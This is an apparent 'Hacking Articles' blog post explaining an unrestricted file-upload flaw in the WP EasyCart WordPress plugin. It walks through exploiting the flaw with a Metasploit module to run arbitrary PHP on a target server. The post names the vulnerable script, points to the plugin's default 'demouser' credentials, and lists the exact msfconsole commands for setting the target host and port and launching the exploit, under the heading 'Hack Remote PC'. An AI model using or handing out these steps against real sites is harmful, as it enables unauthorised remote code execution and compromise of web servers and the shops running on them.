WordPress Shopping Cart (WP EasyCart) Plugin for WordPress contains a flaw that allows a remote attacker to execute arbitrary PHP code. This flaw exists because the /inc/amfphp/administration/banneruploaderscript.php script does not properly verify or sanitize user-uploaded files. By uploading a .php file, the remote system will place the file in a user-accessible path. Making a direct request to the uploaded file will allow the attacker to execute the script with the privileges of the web server. In versions <= 3.0.8 authentication can be done by using the WordPress credentials of a user with any role. In later versions, a valid EasyCart admin password will be required that is in use by any admin user. A default installation of EasyCart will setup a user called “demouser” with a preset password of “demouser”.
Exploit Targets
wp-easycart
Requirement
Attacker: kali Linux
Victim PC: Windows 7
Open Kali terminal type msfconsole
Now type use exploit/unix/webapp/wp_easycart_unrestricted_file_upload
msf exploit (wp_easycart_unrestricted_file_upload)>set targeturi wordpress
msf exploit (wp_easycart_unrestricted_file_upload)>set rhost 192.168.0.110 (IP of Remote Host)
msf exploit (wp_easycart_unrestricted_file_upload)>set rport 80
msf exploit (wp_easycart_unrestricted_file_upload)>exploit
The post Hack Remote PC using WordPress WP EasyCart Unrestricted File Upload appeared first on Hacking Articles.